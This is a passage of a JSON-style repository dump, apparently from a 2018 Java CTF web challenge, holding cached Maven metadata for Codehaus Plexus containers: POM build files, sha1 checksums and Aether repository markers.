</plugin>\n        </plugins>\n      </build>\n    </profile>\n  </profiles>\n\n  <repositories>\n    <repository>\n      <id>plexus.snapshots</id>\n      <url>https://oss.sonatype.org/content/repositories/plexus-snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <snapshots>\n        <enabled>true</enabled>\n      </snapshots>\n    </repository>\n  </repositories>\n\n  \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-components/1.3.1/plexus-components-1.3.1.pom.sha1",
    "content": "4daaf2af8e09587eb3837b80252473d6f423c0f7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-20/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:04 CST 2018\nplexus-container-default-1.0-alpha-20.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-20/plexus-container-default-1.0-alpha-20.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-containers</artifactId>\n    <version>1.0-alpha-20</version>\n  </parent>\n  <artifactId>plexus-container-default</artifactId>\n  <name>Default Plexus Container</name>\n  <version>1.0-alpha-20</version>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n          <excludes>\n            <exclude>**/Test*.java</exclude>\n            <exclude>**/Abstract*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <configuration>\n          <descriptorRefs>\n            <descriptorRef>jar-with-dependencies</descriptorRef>\n          </descriptorRefs>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-component-api</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-classworlds</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>jmock</groupId>\n      <artifactId>jmock</artifactId>\n      <version>1.0.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <!--plugin>\n        <artifactId>maven-surefire-report-plugin</artifactId>\n      </plugin-->\n      <plugin>\n        <artifactId>maven-pmd-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n            <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n            <link>http://jakarta.apache.org/commons/collections/apidocs-COLLECTIONS_3_0/</link>\n            <link>http://jakarta.apache.org/commons/dbcp/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/fileupload/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/httpclient/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/logging/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/pool/apidocs/</link>\n            <link>http://www.junit.org/junit/javadoc/</link>\n            <link>http://logging.apache.org/log4j/docs/api/</link>\n            <link>http://jakarta.apache.org/regexp/apidocs/</link>\n            <link>http://jakarta.apache.org/velocity/api/</link>\n          </links>\n        </configuration>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-20/plexus-container-default-1.0-alpha-20.pom.sha1",
    "content": "911e3b5962b6485fd2fac68fa1af066f36388320"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:05:07 CST 2018\nplexus-container-default-1.0-alpha-30.pom>central=\nplexus-container-default-1.0-alpha-30.jar>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/plexus-container-default-1.0-alpha-30.jar.sha1",
    "content": "669d4ba8e898e37987eb5e30b121ed1d62c5b7b8"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/plexus-container-default-1.0-alpha-30.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <parent>\n    <artifactId>plexus-containers</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0-alpha-30</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-container-default</artifactId>\n  <name>Default Plexus Container</name>\n  <version>1.0-alpha-30</version>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n          <excludes>\n            <exclude>**/Test*.java</exclude>\n            <exclude>**/Abstract*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.mojo</groupId>\n        <artifactId>shade-maven-plugin</artifactId>\n        <version>1.0-alpha-9</version>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <artifactSet>\n                <excludes>\n                  <exclude>classworlds:classworlds</exclude>\n                  <exclude>junit:junit</exclude>\n                  <exclude>jmock:jmock</exclude>\n                  <exclude>org.codehaus.plexus:plexus-classworlds</exclude>\n                  <exclude>org.codehaus.plexus:plexus-utils</exclude>\n                </excludes>\n              </artifactSet>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-classworlds</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>jmock</groupId>\n      <artifactId>jmock</artifactId>\n      <version>1.0.1</version>\n      <scope>test</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <plugins>\n      <plugin>\n        <artifactId>maven-javadoc-plugin</artifactId>\n        <configuration>\n          <links>\n            <link>http://java.sun.com/j2ee/1.4/docs/api</link>\n            <link>http://java.sun.com/j2se/1.5.0/docs/api</link>\n            <link>http://jakarta.apache.org/commons/collections/apidocs-COLLECTIONS_3_0/</link>\n            <link>http://jakarta.apache.org/commons/dbcp/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/fileupload/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/httpclient/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/logging/apidocs/</link>\n            <link>http://jakarta.apache.org/commons/pool/apidocs/</link>\n            <link>http://www.junit.org/junit/javadoc/</link>\n            <link>http://logging.apache.org/log4j/docs/api/</link>\n            <link>http://jakarta.apache.org/regexp/apidocs/</link>\n            <link>http://jakarta.apache.org/velocity/api/</link>\n          </links>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-pmd-plugin</artifactId>\n      </plugin>\n    </plugins>\n  </reporting>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-30/plexus-container-default-1.0-alpha-30.pom.sha1",
    "content": "aa1efeb7ed05a3c5037cc194b9e8fbf97e52268a"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:59:27 CST 2018\nplexus-container-default-1.0-alpha-8.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/plexus-container-default-1.0-alpha-8.pom",
    "content": "<project>\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-container-default</artifactId>\n  <name>Default Plexus Container</name>\n  <version>1.0-alpha-8</version>\n  <ciManagement>\n    <notifiers>\n      <notifier>\n        <configuration>\n          <address>dev@plexus.codehaus.org</address>\n        </configuration>\n      </notifier>\n      <notifier>\n        <type>irc</type>\n        <configuration>\n          <port>6667</port>\n          <channel>#plexus</channel>\n          <host>irc.codehaus.org</host>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <inceptionYear>2001</inceptionYear>\n  <mailingLists>\n    <mailingList>\n      <name>Plexus Developer List</name>\n      <subscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</subscribe>\n      <unsubscribe>http://lists.codehaus.org/mailman/listinfo/plexus-dev</unsubscribe>\n      <archive>http://lists.codehaus.org/pipermail/plexus-dev/</archive>\n    </mailingList>\n  </mailingLists>\n  <developers>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <email>jason@zenplex.com</email>\n      <organization>Zenplex</organization>\n      <roles>\n        <role>Developer</role>\n        <role>Release Manager</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kaz</id>\n      <name>Pete Kazmier</name>\n      <email></email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtaylor</id>\n      <name>James Taylor</name>\n      <email>james@jamestaylor.org</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dandiep</id>\n      <name>Dan Diephouse</name>\n      <email>dan@envoisolutions.com</email>\n      <organization>Envoi solutions</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kasper</id>\n      <name>Kasper Nielsen</name>\n      <email>apache@kav.dk</email>\n      <organization></organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bwalding</id>\n      <name>Ben Walding</name>\n      <email>bwalding@codehaus.org</email>\n      <organization>Walding Consulting Services</organization>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mhw</id>\n      <name>Mark Wilkinson</name>\n      <email>mhw@kremvax.net</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>michal</id>\n      <name>Michal Maczka</name>\n      <email>mmaczka@interia.pl</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@codehaus.org</email>\n      <roles>\n        <role>Developer</role>\n      </roles>\n    </developer>\n  </developers>\n  <scm>\n    <connection>scm:svn:svn://svn.codehaus.org/plexus/scm/trunk/plexus-containers/plexus-container-default</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/trunk/plexus-containers/plexus-container-default</developerConnection>\n  </scm>\n  <organization>\n    <name>Codehaus</name>\n    <url>http://www.codehaus.org/</url>\n  </organization>\n  <build>\n    <sourceDirectory>src/main/java</sourceDirectory>\n    <scriptSourceDirectory>src/main/scripts</scriptSourceDirectory>\n    <testSourceDirectory>src/test/java</testSourceDirectory>\n    <outputDirectory>target/classes</outputDirectory>\n    <testOutputDirectory>target/test-classes</testOutputDirectory>\n    <resources>\n      <resource>\n        <directory>src/main/resources</directory>\n      </resource>\n    </resources>\n    <testResources>\n      <testResource>\n        <directory>src/test/resources</directory>\n      </testResource>\n    </testResources>\n    <directory>target</directory>\n    <finalName>plexus-container-default-1.0-alpha-8</finalName>\n    <plugins>\n      <plugin>\n        <artifactId>maven-release-plugin</artifactId>\n        <version>2.0-beta-2</version>\n        <configuration>\n          <tagBase>https://svn.codehaus.org/plexus/tags</tagBase>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <version>2.0-beta-1</version>\n        <configuration>\n          <excludes>\n            <exclude>**/Test*.java</exclude>\n            <exclude>**/Abstract*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <repositories>\n    <repository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <id>snapshots</id>\n      <name>Maven Snapshot Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n    </repository>\n    <repository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <name>Maven Repository Switchboard</name>\n      <url>http://repo1.maven.org/maven2</url>\n    </repository>\n  </repositories>\n  <pluginRepositories>\n    <pluginRepository>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n      <id>snapshots-plugins</id>\n      <name>Maven Snapshot Plugins Development Repository</name>\n      <url>http://snapshots.maven.codehaus.org/maven2</url>\n    </pluginRepository>\n    <pluginRepository>\n      <snapshots>\n        <enabled>false</enabled>\n      </snapshots>\n      <id>central</id>\n      <name>Maven Plugin Repository</name>\n      <url>http://repo1.maven.org/maven2</url>\n    </pluginRepository>\n  </pluginRepositories>\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.0.4</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>classworlds</groupId>\n      <artifactId>classworlds</artifactId>\n      <version>1.1-alpha-2</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <reporting>\n    <outputDirectory>target/site</outputDirectory>\n  </reporting>\n  <distributionManagement>\n    <repository>\n      <id>repo1</id>\n      <name>Maven Central Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/to-ibiblio/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>snapshots</id>\n      <name>Maven Central Development Repository</name>\n      <url>scp://repo1.maven.org/home/projects/maven/repository-staging/snapshots/maven2</url>\n    </snapshotRepository>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/plexus-container-default-1.0-alpha-8.pom.sha1",
    "content": "3324c2065311b5cd636d3fe37353fe7558a6ec22  /home/projects/maven/repository-staging/to-ibiblio/maven2/org/codehaus/plexus/plexus-container-default/1.0-alpha-8/plexus-container-default-1.0-alpha-8.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:02:12 CST 2018\nplexus-container-default-1.0-alpha-9.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.pom",
    "content": "<project>\n  <parent>\n    <artifactId>plexus-containers</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.3</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-container-default</artifactId>\n  <name>Default Plexus Container</name>\n  <version>1.0-alpha-9</version>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>**/Test*.java</exclude>\n            <exclude>**/Abstract*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.0.4</version>\n    </dependency>\n    <dependency>\n      <groupId>classworlds</groupId>\n      <artifactId>classworlds</artifactId>\n      <version>1.1-alpha-2</version>\n    </dependency>\n  </dependencies>\n  <distributionManagement>\n    <status>deployed</status>\n  </distributionManagement>\n</project>"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9/plexus-container-default-1.0-alpha-9.pom.sha1",
    "content": "d00c65ec36fb3cc8c755182a7ee52d3d80340179"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:31 CST 2018\nplexus-container-default-1.0-alpha-9-stable-1.jar>central=\nplexus-container-default-1.0-alpha-9-stable-1.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.jar.sha1",
    "content": "94aea3010e250a334d9dab7f591114cd6c767458"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.pom",
    "content": "<project>\n  <parent>\n    <artifactId>plexus-containers</artifactId>\n    <groupId>org.codehaus.plexus</groupId>\n    <version>1.0.3</version>\n  </parent>\n  <modelVersion>4.0.0</modelVersion>\n  <artifactId>plexus-container-default</artifactId>\n  <name>Default Plexus Container</name>\n  <version>1.0-alpha-9-stable-1</version>\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <excludes>\n            <exclude>**/Test*.java</exclude>\n            <exclude>**/Abstract*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n    </plugins>\n    <extensions>\n      <extension>\n        <groupId>org.apache.maven.wagon</groupId>\n        <artifactId>wagon-webdav</artifactId>\n        <version>1.0-beta-2</version>\n      </extension>\n    </extensions>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>compile</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n      <version>1.0.4</version>\n    </dependency>\n    <dependency>\n      <groupId>classworlds</groupId>\n      <artifactId>classworlds</artifactId>\n      <version>1.1-alpha-2</version>\n    </dependency>\n  </dependencies>\n  <distributionManagement>                                                                                                                                               \n    <repository>                                                                                                                                                         \n      <id>codehaus.org</id>                                                                                                                                              \n      <name>Plexus Central Repository</name>                                                                                                                             \n      <url>dav:https://dav.codehaus.org/repository/plexus</url>                                                                                                          \n    </repository>                                                                                                                                                        \n    <snapshotRepository>                                                                                                                                                 \n      <id>codehaus.org</id>                                                                                                                                              \n      <name>Plexus Central Development Repository</name>                                                                                                                 \n      <url>dav:https://dav.codehaus.org/snapshots.repository/plexus</url>                                                                                                \n    </snapshotRepository>                                                                                                                                                \n    <site>                                                                                                                                                               \n      <id>codehaus.org</id>                                                                                                                                              \n      <url>dav:https://dav.codehaus.org/plexus</url>                                                                                                                     \n    </site>                                                                                                                                                              \n  </distributionManagement>    \n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.0-alpha-9-stable-1/plexus-container-default-1.0-alpha-9-stable-1.pom.sha1",
    "content": "f557cb47f4594ac941d0edf08093a03ce15b51ba"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:19 CST 2018\nplexus-container-default-1.5.5.jar>central=\nplexus-container-default-1.5.5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/plexus-container-default-1.5.5.jar.sha1",
    "content": "0265fa2851d31c2e2177859a518987595efe146b"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/plexus-container-default-1.5.5.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus-containers</artifactId>\n    <version>1.5.5</version>\n  </parent>\n\n  <artifactId>plexus-container-default</artifactId>\n\n  <name>Plexus :: Default Container</name>\n  <description>\n    The Plexus IoC container API and its default implementation.\n  </description>\n\n  <dependencies>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-utils</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.codehaus.plexus</groupId>\n      <artifactId>plexus-classworlds</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>org.apache.xbean</groupId>\n      <artifactId>xbean-reflect</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>com.google.collections</groupId>\n      <artifactId>google-collections</artifactId>\n    </dependency>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n    </dependency>\n  </dependencies>\n\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkMode>once</forkMode>\n          <excludes>\n            <exclude>**/Test*.java</exclude>\n            <exclude>**/Abstract*.java</exclude>\n          </excludes>\n        </configuration>\n      </plugin>\n      <plugin>\n        <groupId>org.codehaus.modello</groupId>\n        <artifactId>modello-maven-plugin</artifactId>\n        <version>1.1</version>\n        <configuration>\n          <models>\n            <model>src/main/mdo/components.mdo</model>\n            <model>src/main/mdo/plexus.mdo</model>\n          </models>\n          <version>1.3.0</version>\n        </configuration>\n        <executions>\n          <execution>\n            <id>xsd-site</id>\n            <phase>pre-site</phase>\n            <goals>\n              <goal>xsd</goal>\n            </goals>\n            <configuration>\n              <outputDirectory>${basedir}/target/generated-site/resources/xsd</outputDirectory>\n            </configuration>\n          </execution>\n          <execution>\n            <id>descriptor-site</id>\n            <phase>pre-site</phase>\n            <goals>\n              <goal>xdoc</goal>\n            </goals>\n            <configuration>\n              <firstVersion>1.0.0</firstVersion>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-container-default/1.5.5/plexus-container-default-1.5.5.pom.sha1",
    "content": "f68a6d3761cfdfdf1e13ce2c18327c514acad611"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-20/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:05 CST 2018\nplexus-containers-1.0-alpha-20.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-20/plexus-containers-1.0-alpha-20.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>1.0.10</version>\n  </parent>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-containers</artifactId>\n  <packaging>pom</packaging>\n  <name>Parent Plexus Container POM</name>\n  <version>1.0-alpha-20</version>\n  <modules>\n    <module>plexus-component-api</module>\n    <module>plexus-container-default</module>\n  </modules>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-20</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-20</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-20</url>\n  </scm>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-classworlds</artifactId>\n        <version>1.2-alpha-7</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-api</artifactId>\n        <version>1.0-alpha-19</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.3</version>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-20/plexus-containers-1.0-alpha-20.pom.sha1",
    "content": "5e436ba5a20b19e6b840f087e12e1c993b427de0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-30/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:49 CST 2018\nplexus-containers-1.0-alpha-30.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-30/plexus-containers-1.0-alpha-30.pom",
    "content": "<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <parent>\n    <groupId>org.codehaus.plexus</groupId>\n    <artifactId>plexus</artifactId>\n    <version>1.0.11</version>\n  </parent>\n  <groupId>org.codehaus.plexus</groupId>\n  <artifactId>plexus-containers</artifactId>\n  <packaging>pom</packaging>\n  <name>Parent Plexus Container POM</name>\n  <version>1.0-alpha-30</version>\n  <modules>\n    <module>plexus-component-api</module>\n    <module>plexus-container-default</module>\n  </modules>\n  <scm>\n    <connection>scm:svn:http://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-30</connection>\n    <developerConnection>scm:svn:https://svn.codehaus.org/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-30</developerConnection>\n    <url>http://fisheye.codehaus.org/browse/plexus/plexus-containers/tags/plexus-containers-1.0-alpha-30</url>\n  </scm>\n  <dependencies>\n    <dependency>\n      <groupId>junit</groupId>\n      <artifactId>junit</artifactId>\n      <version>3.8.1</version>\n      <scope>compile</scope>\n    </dependency>\n  </dependencies>\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-classworlds</artifactId>\n        <version>1.2-alpha-9</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-utils</artifactId>\n        <version>1.4.5</version>\n      </dependency>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-api</artifactId>\n        <version>1.0-alpha-30</version>\n      </dependency>      \n    </dependencies>\n  </dependencyManagement>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0-alpha-30/plexus-containers-1.0-alpha-30.pom.sha1",
    "content": "8b6330c46076c52825feb050aa27c550b24b4a17"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0.3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:16 CST 2018\nplexus-containers-1.0.3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/codehaus/plexus/plexus-containers/1.0.3/plexus-containers-1.0.3.pom",
